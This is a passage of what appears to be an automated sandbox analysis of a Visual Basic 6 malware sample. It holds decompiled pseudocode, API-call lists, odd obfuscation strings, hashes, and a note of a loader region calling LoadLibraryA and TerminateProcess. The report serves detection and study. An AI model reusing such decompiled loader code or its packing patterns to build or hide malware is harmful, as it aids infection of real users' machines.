					__eflags =  *_t118;
				} else {
					_push(0x1c0);
					_push(0x4031c0);
					_push(_v104);
					_push(_v108);
					L004016CE();
					_v160 = _t150;
				}
				_v32 = _v100;
				L0040169E();
				asm("wait");
				_push(0x4164e7);
				_t152 =  &_v24;
				_push(_t152);
				_push(0);
				L004015F0();
				return _t152;
			}

0x004160a2
0x004160ad
0x004160ae
0x004160b5
0x004160ba
0x004160c2
0x004160c5
0x004160cc
0x004160ce
0x004160d3
0x004160d8
0x004160de
0x004160e0
0x004160e1
0x004160f0
0x004160f6
0x004160f8
0x004160ff
0x0041611b
0x0041611b
0x0041611b
0x00416101
0x00416101
0x00416106
0x0041610b
0x0041610e
0x00416111
0x00416116
0x00416116
0x004160ff
0x0041611f
0x00416124
0x0041612e
0x00416133
0x00416134
0x00416139
0x00416140
0x00416146
0x0041614d
0x00416158
0x00416165
0x0041617f
0x00416167
0x00416167
0x0041616c
0x00416171
0x00416176
0x00416176
0x00416186
0x0041618b
0x0041618e
0x00416195
0x0041619c
0x004161a3
0x004161b1
0x004161bb
0x004161bc
0x004161bd
0x004161be
0x004161c2
0x004161cc
0x004161cd
0x004161ce
0x004161cf
0x004161d8
0x004161db
0x004161dd
0x004161e4
0x004161fd
0x004161fd
0x004161fd
0x004161e6
0x004161e6
0x004161e8
0x004161ed
0x004161f0
0x004161f3
0x004161f8
0x004161f8
0x00416204
0x00416208
0x00416209
0x00416211
0x00416215
0x00416216
0x0041621e
0x0041621e
0x00416223
0x0041622a
0x00416233
0x00416234
0x0041623e
0x0041623f
0x00416240
0x00416241
0x00416242
0x00416247
0x0041624c
0x00416251
0x0041625b
0x00416260
0x00416261
0x00416263
0x0041626a
0x00416270
0x00416277
0x00416282
0x0041628f
0x004162ac
0x00416291
0x00416291
0x00416296
0x0041629b
0x004162a0
0x004162a0
0x004162b6
0x004162be
0x004162cd
0x004162d0
0x004162d2
0x004162d9
0x004162f5
0x004162f5
0x004162f5
0x004162db
0x004162db
0x004162dd
0x004162e2
0x004162e5
0x004162e8
0x004162ed
0x004162ed
0x004162ff
0x00416310
0x00416313
0x00416315
0x0041631c
0x00416338
0x00416338
0x00416338
0x0041631e
0x0041631e
0x00416320
0x00416325
0x00416328
0x0041632b
0x00416330
0x00416330
0x00416343
0x0041634a
0x0041634a
0x00416356
0x00416373
0x00416358
0x00416358
0x0041635d
0x00416362
0x00416367
0x00416367
0x00416397
0x0041639b
0x004163a0
0x004163a3
0x004163aa
0x004163b4
0x004163be
0x004163bf
0x004163c0
0x004163c1
0x004163cf
0x004163d5
0x004163d7
0x004163de
0x004163fd
0x004163fd
0x004163fd
0x004163e0
0x004163e0
0x004163e5
0x004163ea
0x004163ed
0x004163f0
0x004163f5
0x004163f5
0x00416407
0x00416413
0x00416430
0x00416415
0x00416415
0x0041641a
0x0041641f
0x00416424
0x00416424
0x00416454
0x00416458
0x0041645d
0x0041646c
0x00416472
0x00416474
0x0041647b
0x0041649a
0x0041649a
0x0041649a
0x0041647d
0x0041647d
0x00416482
0x00416487
0x0041648a
0x0041648d
0x00416492
0x00416492
0x004164a4
0x004164aa
0x004164af
0x004164b0
0x004164db
0x004164de
0x004164df
0x004164e1
0x004164e6

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004160BA
_CItan.MSVBVM60(?,?,?,?,004014D6), ref: 004160CE
__vbaFpR8.MSVBVM60(?,?,?,?,004014D6), ref: 004160D3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402884,00000254), ref: 00416111
#517.MSVBVM60(00403568,?,?,?,?,004014D6), ref: 00416124
__vbaStrMove.MSVBVM60(00403568,?,?,?,?,004014D6), ref: 0041612E
__vbaStrCmp.MSVBVM60(00403570,00000000,00403568,?,?,?,?,004014D6), ref: 00416139
__vbaFreeStr.MSVBVM60(00403570,00000000,00403568,?,?,?,?,004014D6), ref: 0041614D
__vbaNew2.MSVBVM60(0040319C,00423420,00403570,00000000,00403568,?,?,?,?,004014D6), ref: 00416171
__vbaChkstk.MSVBVM60(?), ref: 004161B1
__vbaChkstk.MSVBVM60(?), ref: 004161C2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000038), ref: 004161F3
__vbaVar2Vec.MSVBVM60(?,?), ref: 00416209
__vbaAryMove.MSVBVM60(?,?,?,?), ref: 00416216
__vbaFreeVar.MSVBVM60(?,?,?,?), ref: 0041621E
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,00403570,00000000,00403568,?,?,?,?,004014D6), ref: 00416234
#689.MSVBVM60(Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570,00000000,00403568), ref: 00416251
__vbaStrMove.MSVBVM60(Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570,00000000,00403568), ref: 0041625B
__vbaStrCmp.MSVBVM60(00000000,00000000,Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570,00000000,00403568), ref: 00416263
__vbaFreeStr.MSVBVM60(00000000,00000000,Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570,00000000,00403568), ref: 00416277
__vbaNew2.MSVBVM60(0040319C,00423420,00000000,00000000,Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570), ref: 0041629B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,0000001C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004162E8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403458,00000064,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0041632B
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,Domineringer,Mjave), ref: 0041634A
__vbaNew2.MSVBVM60(00401EF4,00423010,00000000,00000000,Domineringer,Mjave,retssagen,?,?,?,?,?,?,?,?,00403570), ref: 00416362
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041639B
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004163B4
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031D0,000001EC), ref: 004163F0
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,Domineringer), ref: 00416407
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041641F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416458
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001C0), ref: 0041648D
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004164AA
__vbaAryDestruct.MSVBVM60(00000000,?,004164E7), ref: 004164E1

Strings

Domineringer, xrefs: 0041624C
4B, xrefs: 004162B6
CONOSCENTE, xrefs: 004163C2
retssagen, xrefs: 00416242
4B, xrefs: 00416186
Mjave, xrefs: 00416247

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$Chkstk$New2$Move$#517#689DestructItanVar2
String ID: 4B$ 4B$CONOSCENTE$Domineringer$Mjave$retssagen
API String ID: 3959090205-2367649231
Opcode ID: 58c15eb362dfbb82cfe542a4ad329cfa7cba20094842283dab321e2be77e7113
Instruction ID: 3e20f880092c45c1b21c1fa88ed13c540281533248e5b2b2ab959f7134edc052
Opcode Fuzzy Hash: 58c15eb362dfbb82cfe542a4ad329cfa7cba20094842283dab321e2be77e7113
Instruction Fuzzy Hash: 03C12970A00318AFDB11EFA0CC45BDDBBF4AF08705F20046AF505BB2A1DB799A85DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004168CA, Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004168CA(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				short _v48;
				char _v56;
				char _v72;
				char* _v96;
				intOrPtr _v104;
				char* _v112;
				char _v120;
				char* _v128;
				char _v136;
				void* _v140;
				void* _v144;
				signed int _v148;
				void* _v152;
				signed int _v156;
				intOrPtr* _v164;
				signed int _v168;
				intOrPtr* _v172;
				signed int _v176;
				intOrPtr* _v180;
				signed int _v184;
				signed int _v188;
				intOrPtr* _v192;
				signed int _v196;
				char* _t143;
				signed int _t149;
				short _t153;
				signed int _t156;
				char* _t160;
				signed int _t164;
				signed short _t166;
				short _t174;
				char* _t180;
				signed int _t189;
				signed int _t194;
				intOrPtr _t200;
				intOrPtr _t227;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t227;
				L004014D0();
				_v12 = _t227;
				_v8 = 0x4012f0;
				if( *0x423010 != 0) {
					_v164 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v164 = 0x423010;
				}
				_t200 =  *((intOrPtr*)( *_v164));
				_t143 =  &_v40;
				L004016B6();
				_v144 = _t143;
				_v128 = 0x80020004;
				_v136 = 0xa;
				_v112 = 0x80020004;
				_v120 = 0xa;
				_v96 = 0x80020004;
				_v104 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v48 =  *0x4012e8;
				_t149 =  *((intOrPtr*)( *_v144 + 0x1e4))(_v144, _t200, 0x10, 0x10, 0x10, _t143,  *((intOrPtr*)(_t200 + 0x304))( *_v164));
				asm("fclex");
				_v148 = _t149;
				if(_v148 >= 0) {
					_v168 = _v168 & 0x00000000;
				} else {
					_push(0x1e4);
					_push(0x4031e0);
					_push(_v144);
					_push(_v148);
					L004016CE();
					_v168 = _t149;
				}
				L0040169E();
				_v96 = L"3:3:3";
				_v104 = 8;
				L00401632();
				_push( &_v56);
				_push( &_v72); // executed
				L004015E4(); // executed
				_v112 = 3;
				_v120 = 0x8002;
				_push( &_v72);
				_t153 =  &_v120;
				_push(_t153);
				L004015EA();
				_v144 = _t153;
				_push( &_v72);
				_push( &_v56);
				_push(2);
				L0040161A();
				_t156 = _v144;
				if(_t156 == 0) {
					if( *0x423010 != 0) {
						_v172 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v172 = 0x423010;
					}
					_t160 =  &_v40;
					L004016B6();
					_v144 = _t160;
					_t164 =  *((intOrPtr*)( *_v144 + 0x158))(_v144,  &_v140, _t160,  *((intOrPtr*)( *((intOrPtr*)( *_v172)) + 0x318))( *_v172));
					asm("fclex");
					_v148 = _t164;
					if(_v148 >= 0) {
						_v176 = _v176 & 0x00000000;
					} else {
						_push(0x158);
						_push(0x4031f0);
						_push(_v144);
						_push(_v148);
						L004016CE();
						_v176 = _t164;
					}
					_v48 = _v140;
					_v56 = 2;
					_t166 =  &_v56;
					_push(_t166);
					L004015DE();
					asm("sbb eax, eax");
					_v152 =  ~( ~( ~_t166));
					L0040169E();
					L004016AA();
					if(_v152 != 0) {
						if( *0x423420 != 0) {
							_v180 = 0x423420;
						} else {
							_push(0x423420);
							_push(0x40319c);
							L004016C8();
							_v180 = 0x423420;
						}
						_v144 =  *_v180;
						_t189 =  *((intOrPtr*)( *_v144 + 0x1c))(_v144,  &_v40);
						asm("fclex");
						_v148 = _t189;
						if(_v148 >= 0) {
							_v184 = _v184 & 0x00000000;
						} else {
							_push(0x1c);
							_push(0x40318c);
							_push(_v144);
							_push(_v148);
							L004016CE();
							_v184 = _t189;
						}
						_v152 = _v40;
						_t194 =  *((intOrPtr*)( *_v152 + 0x64))(_v152, 1,  &_v140);
						asm("fclex");
						_v156 = _t194;
						if(_v156 >= 0) {
							_v188 = _v188 & 0x00000000;
						} else {
							_push(0x64);
							_push(0x403458);
							_push(_v152);
							_push(_v156);
							L004016CE();
							_v188 = _t194;
						}
						_v24 = _v140;
						L0040169E();
					}
					_v96 = L"1-1-1";
					_v104 = 8;
					L00401632();
					_push( &_v56);
					_push( &_v72);
					L004015D8();
					_v112 = 1;
					_v120 = 0x8002;
					_push( &_v72);
					_t174 =  &_v120;
					_push(_t174);
					L004015EA();
					_v144 = _t174;
					_push( &_v72);
					_push( &_v56);
					_push(2);
					L0040161A();
					_t156 = _v144;
					if(_t156 != 0) {
						if( *0x423010 != 0) {
							_v192 = 0x423010;
						} else {
							_push(0x423010);
							_push(0x401ef4);
							L004016C8();
							_v192 = 0x423010;
						}
						_t180 =  &_v40;
						L004016B6();
						_v144 = _t180;
						_t156 =  *((intOrPtr*)( *_v144 + 0x238))(_v144,  &_v36, _t180,  *((intOrPtr*)( *((intOrPtr*)( *_v192)) + 0x310))( *_v192));
						asm("fclex");
						_v148 = _t156;
						if(_v148 >= 0) {
							_v196 = _v196 & 0x00000000;
						} else {
							_push(0x238);
							_push(0x4031c0);
							_push(_v144);
							_push(_v148);
							L004016CE();
							_v196 = _t156;
						}
						_push(_v36);
						L0040163E();
						L004016D4();
						L0040169E();
					}
					_v32 = 0xba09b2e0;
					_v28 = 0x5b02;
				}
				asm("wait");
				_push(0x416dd5);
				return _t156;
			}

0x004168cf
0x004168da
0x004168db
0x004168e7
0x004168ef
0x004168f2
0x00416900
0x0041691d
0x00416902
0x00416902
0x00416907
0x0041690c
0x00416911
0x00416911
0x00416937
0x00416941
0x00416945
0x0041694a
0x00416950
0x00416957
0x00416961
0x00416968
0x0041696f
0x00416976
0x00416980
0x0041698d
0x0041698e
0x0041698f
0x00416990
0x00416994
0x0041699e
0x0041699f
0x004169a0
0x004169a1
0x004169a5
0x004169af
0x004169b0
0x004169b1
0x004169b2
0x004169ba
0x004169cb
0x004169d1
0x004169d3
0x004169e0
0x00416a05
0x004169e2
0x004169e2
0x004169e7
0x004169ec
0x004169f2
0x004169f8
0x004169fd
0x004169fd
0x00416a0f
0x00416a14
0x00416a1b
0x00416a28
0x00416a30
0x00416a34
0x00416a35
0x00416a3a
0x00416a41
0x00416a4b
0x00416a4c
0x00416a4f
0x00416a50
0x00416a55
0x00416a5f
0x00416a63
0x00416a64
0x00416a66
0x00416a6e
0x00416a77
0x00416a85
0x00416aa2
0x00416a87
0x00416a87
0x00416a8c
0x00416a91
0x00416a96
0x00416a96
0x00416ac6
0x00416aca
0x00416acf
0x00416aea
0x00416af0
0x00416af2
0x00416aff
0x00416b24
0x00416b01
0x00416b01
0x00416b06
0x00416b0b
0x00416b11
0x00416b17
0x00416b1c
0x00416b1c
0x00416b32
0x00416b36
0x00416b3d
0x00416b40
0x00416b41
0x00416b49
0x00416b4f
0x00416b59
0x00416b61
0x00416b6f
0x00416b7c
0x00416b99
0x00416b7e
0x00416b7e
0x00416b83
0x00416b88
0x00416b8d
0x00416b8d
0x00416bab
0x00416bc3
0x00416bc6
0x00416bc8
0x00416bd5
0x00416bf7
0x00416bd7
0x00416bd7
0x00416bd9
0x00416bde
0x00416be4
0x00416bea
0x00416bef
0x00416bef
0x00416c01
0x00416c1e
0x00416c21
0x00416c23
0x00416c30
0x00416c52
0x00416c32
0x00416c32
0x00416c34
0x00416c39
0x00416c3f
0x00416c45
0x00416c4a
0x00416c4a
0x00416c60
0x00416c67
0x00416c67
0x00416c6c
0x00416c73
0x00416c80
0x00416c88
0x00416c8c
0x00416c8d
0x00416c92
0x00416c99
0x00416ca3
0x00416ca4
0x00416ca7
0x00416ca8
0x00416cad
0x00416cb7
0x00416cbb
0x00416cbc
0x00416cbe
0x00416cc6
0x00416ccf
0x00416cdc
0x00416cf9
0x00416cde
0x00416cde
0x00416ce3
0x00416ce8
0x00416ced
0x00416ced
0x00416d1d
0x00416d21
0x00416d26
0x00416d3e
0x00416d44
0x00416d46
0x00416d53
0x00416d78
0x00416d55
0x00416d55
0x00416d5a
0x00416d5f
0x00416d65
0x00416d6b
0x00416d70
0x00416d70
0x00416d7f
0x00416d82
0x00416d8a
0x00416d92
0x00416d92
0x00416d97
0x00416d9e
0x00416d9e
0x00416da5
0x00416da6
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004168E7
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,004014D6), ref: 0041690C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416945
__vbaChkstk.MSVBVM60(?,00000000), ref: 00416980
__vbaChkstk.MSVBVM60(?,00000000), ref: 00416994
__vbaChkstk.MSVBVM60(?,00000000), ref: 004169A5
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031E0,000001E4,?,?,00000000), ref: 004169F8
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 00416A0F
__vbaVarDup.MSVBVM60(?,?,00000000), ref: 00416A28
#544.MSVBVM60(?,?,?,?,00000000), ref: 00416A35
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?,00000000), ref: 00416A50
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?,00000000), ref: 00416A66
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 00416A91
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416ACA
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031F0,00000158), ref: 00416B17
#592.MSVBVM60(00000002), ref: 00416B41
__vbaFreeObj.MSVBVM60(00000002), ref: 00416B59
__vbaFreeVar.MSVBVM60(00000002), ref: 00416B61
__vbaNew2.MSVBVM60(0040319C,00423420,00000002), ref: 00416B88
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,0000001C), ref: 00416BEA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403458,00000064), ref: 00416C45
__vbaFreeObj.MSVBVM60(00000000,?,00403458,00000064), ref: 00416C67
__vbaVarDup.MSVBVM60(00000002), ref: 00416C80
#545.MSVBVM60(?,00000002,00000002), ref: 00416C8D
__vbaVarTstNe.MSVBVM60(00008002,?,?,00000002,00000002), ref: 00416CA8
__vbaFreeVarList.MSVBVM60(00000002,00000002,?,00008002,?,?,00000002,00000002), ref: 00416CBE
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 00416CE8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416D21
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000238), ref: 00416D6B
#532.MSVBVM60(?), ref: 00416D82
__vbaFreeStr.MSVBVM60(?), ref: 00416D8A
__vbaFreeObj.MSVBVM60(?), ref: 00416D92

Strings

4B, xrefs: 00416B99
1-1-1, xrefs: 00416C6C
3:3:3, xrefs: 00416A14

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$ChkstkNew2$List$#532#544#545#592
String ID: 4B$1-1-1$3:3:3
API String ID: 2786621797-1956535016
Opcode ID: 4a4bafe4dda42f0383f07d6ab2c03a7335dd7e0930163ddd1fab36022fef5b65
Instruction ID: a043d0b18eb22f58099ee306c1c9499c0ae8580387e0e45ece9ec3306c84fab7
Opcode Fuzzy Hash: 4a4bafe4dda42f0383f07d6ab2c03a7335dd7e0930163ddd1fab36022fef5b65
Instruction Fuzzy Hash: 40D10870900218DFDB20DFA1CC45BDDB7B9BF08304F1044AAE149BB2A1DB795A85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0042193C, Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0042193C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				short _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				void* _v64;
				void* _v68;
				signed int _v72;
				intOrPtr* _v76;
				signed int _v80;
				signed int _v92;
				char _v96;
				signed int _v100;
				char _v104;
				signed int _v108;
				signed int _v112;
				signed int _t78;
				signed int _t83;
				short _t87;
				signed int _t93;
				signed int _t98;
				signed int _t104;
				void* _t124;
				void* _t126;
				intOrPtr _t127;

				_t127 = _t126 - 0xc;
				 *[fs:0x0] = _t127;
				L004014D0();
				_v16 = _t127;
				_v12 = 0x4014c0;
				_v8 = 0;
				_t78 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x4014d6, _t124);
				L0040168C();
				_push(0x4041a8);
				L00401566();
				L004016E0();
				_push(_t78);
				_push(0x4041b4);
				L004016E6();
				asm("sbb eax, eax");
				_v68 =  ~( ~( ~_t78));
				L004016D4();
				if(_v68 != 0) {
					if( *0x423420 != 0) {
						_v96 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v96 = 0x423420;
					}
					_t15 =  &_v96; // 0x423420
					_v68 =  *((intOrPtr*)( *_t15));
					_t104 =  *((intOrPtr*)( *_v68 + 0x48))(_v68, 0x85,  &_v40);
					asm("fclex");
					_v72 = _t104;
					if(_v72 >= 0) {
						_v100 = _v100 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x40318c);
						_push(_v68);
						_push(_v72);
						L004016CE();
						_v100 = _t104;
					}
					_v92 = _v40;
					_v40 = _v40 & 0x00000000;
					L004016E0();
				}
				_v52 = 0x80020004;
				_v60 = 0xa;
				_t83 = 0x10;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_push(L"optimisations");
				_push(L"Meiji");
				_push(L"KOHOVEDERNE"); // executed
				L004015F6(); // executed
				L004016E0();
				_push(_t83);
				_push(0);
				L004016E6();
				asm("sbb eax, eax");
				_v68 =  ~( ~( ~_t83));
				L004016D4();
				_t87 = _v68;
				if(_t87 != 0) {
					if( *0x423420 != 0) {
						_v104 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v104 = 0x423420;
					}
					_t43 =  &_v104; // 0x423420
					_v68 =  *((intOrPtr*)( *_t43));
					_t93 =  *((intOrPtr*)( *_v68 + 0x1c))(_v68,  &_v44);
					asm("fclex");
					_v72 = _t93;
					if(_v72 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40318c);
						_push(_v68);
						_push(_v72);
						L004016CE();
						_v108 = _t93;
					}
					_v76 = _v44;
					_t98 =  *((intOrPtr*)( *_v76 + 0x64))(_v76, 1,  &_v64);
					asm("fclex");
					_v80 = _t98;
					if(_v80 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x64);
						_push(0x403458);
						_push(_v76);
						_push(_v80);
						L004016CE();
						_v112 = _t98;
					}
					_t87 = _v64;
					_v32 = _t87;
					L0040169E();
				}
				_push(0x421b81);
				L004016D4();
				L004016D4();
				return _t87;
			}

0x0042193f
0x0042194e
0x00421958
0x00421960
0x00421963
0x0042196a
0x00421979
0x00421982
0x00421987
0x0042198c
0x00421996
0x0042199b
0x0042199c
0x004219a1
0x004219a8
0x004219ae
0x004219b5
0x004219c0
0x004219c9
0x004219e3
0x004219cb
0x004219cb
0x004219d0
0x004219d5
0x004219da
0x004219da
0x004219ea
0x004219ef
0x00421a03
0x00421a06
0x00421a08
0x00421a0f
0x00421a28
0x00421a11
0x00421a11
0x00421a13
0x00421a18
0x00421a1b
0x00421a1e
0x00421a23
0x00421a23
0x00421a2f
0x00421a32
0x00421a3c
0x00421a3c
0x00421a41
0x00421a48
0x00421a51
0x00421a52
0x00421a5c
0x00421a5d
0x00421a5e
0x00421a5f
0x00421a60
0x00421a65
0x00421a6a
0x00421a6f
0x00421a79
0x00421a7e
0x00421a7f
0x00421a81
0x00421a88
0x00421a8e
0x00421a95
0x00421a9a
0x00421aa0
0x00421aad
0x00421ac7
0x00421aaf
0x00421aaf
0x00421ab4
0x00421ab9
0x00421abe
0x00421abe
0x00421ace
0x00421ad3
0x00421ae2
0x00421ae5
0x00421ae7
0x00421aee
0x00421b07
0x00421af0
0x00421af0
0x00421af2
0x00421af7
0x00421afa
0x00421afd
0x00421b02
0x00421b02
0x00421b0e
0x00421b1f
0x00421b22
0x00421b24
0x00421b2b
0x00421b44
0x00421b2d
0x00421b2d
0x00421b2f
0x00421b34
0x00421b37
0x00421b3a
0x00421b3f
0x00421b3f
0x00421b48
0x00421b4c
0x00421b53
0x00421b53
0x00421b58
0x00421b73
0x00421b7b
0x00421b80

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00421958
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00421982
#713.MSVBVM60(004041A8,?,?,?,?,004014D6), ref: 0042198C
__vbaStrMove.MSVBVM60(004041A8,?,?,?,?,004014D6), ref: 00421996
__vbaStrCmp.MSVBVM60(004041B4,00000000,004041A8,?,?,?,?,004014D6), ref: 004219A1
__vbaFreeStr.MSVBVM60(004041B4,00000000,004041A8,?,?,?,?,004014D6), ref: 004219B5
__vbaNew2.MSVBVM60(0040319C,00423420,004041B4,00000000,004041A8,?,?,?,?,004014D6), ref: 004219D5
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000048), ref: 00421A1E
__vbaStrMove.MSVBVM60(00000000,?,0040318C,00000048), ref: 00421A3C
__vbaChkstk.MSVBVM60 ref: 00421A52
#689.MSVBVM60(KOHOVEDERNE,Meiji,optimisations), ref: 00421A6F
__vbaStrMove.MSVBVM60(KOHOVEDERNE,Meiji,optimisations), ref: 00421A79
__vbaStrCmp.MSVBVM60(00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421A81
__vbaFreeStr.MSVBVM60(00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421A95
__vbaNew2.MSVBVM60(0040319C,00423420,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421AB9
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,0000001C,?,?,?,?,?,?,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421AFD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403458,00000064,?,?,?,?,?,?,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421B3A
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421B53
__vbaFreeStr.MSVBVM60(00421B81,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421B73
__vbaFreeStr.MSVBVM60(00421B81,00000000,00000000,KOHOVEDERNE,Meiji,optimisations), ref: 00421B7B

Strings

KOHOVEDERNE, xrefs: 00421A6A
4B, xrefs: 00421ACE
4B, xrefs: 004219EA
Meiji, xrefs: 00421A65
optimisations, xrefs: 00421A60

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultMove$ChkstkNew2$#689#713Copy
String ID: 4B$ 4B$KOHOVEDERNE$Meiji$optimisations
API String ID: 1804745904-2856342150
Opcode ID: 8e3c5443e35e7ea30ef48e3ebe0c3c323a7d9d875813329dafd93198fdf54d74
Instruction ID: dcb567805d214b70a82a01c72c064e75389b3faab4de9bcfd93b31e306259d75
Opcode Fuzzy Hash: 8e3c5443e35e7ea30ef48e3ebe0c3c323a7d9d875813329dafd93198fdf54d74
Instruction Fuzzy Hash: 4661F770A40218EFCB11EF91D846BEDBBF4BF18709F50452AF401BB2A1DB796946CB58

Uniqueness

Uniqueness Score: -1.00%

Function 021506D8, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 268COMMON

Download Yara Rule

APIs

Part of subcall function 02153D3F: LoadLibraryA.KERNELBASE(?,8802EDAC,?,02154530,021503C4,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 02153E24

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 021524F6

Strings

*#, xrefs: 021507D8
P-H, xrefs: 021508FB
S1, xrefs: 02150AA0

Memory Dump Source

Source File: 00000000.00000002.288855622.0000000002150000.00000040.00000001.sdmp, Offset: 02150000, based on PE: false

Similarity

API ID: LibraryLoadProcessTerminate
String ID: P-H$*#$S1
API String ID: 3349790660-3175537923
Opcode ID: 7e26a96613d82f62401d5383b1ad9a313b7697740b0ff27276ada0667bbeb3c6
Instruction ID: 2bb9cb4c95d584e34a0af856403caafc424a26534ab405717c28c9e9b0966515
Opcode Fuzzy Hash: 7e26a96613d82f62401d5383b1ad9a313b7697740b0ff27276ada0667bbeb3c6
Instruction Fuzzy Hash: 4871A0209C0336EEEF342DA48C957FE11A74F5D358FA505AAEC7AD3184D769C4C18A52

Uniqueness

Uniqueness Score: -1.00%

Function 0215074A, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 215COMMON
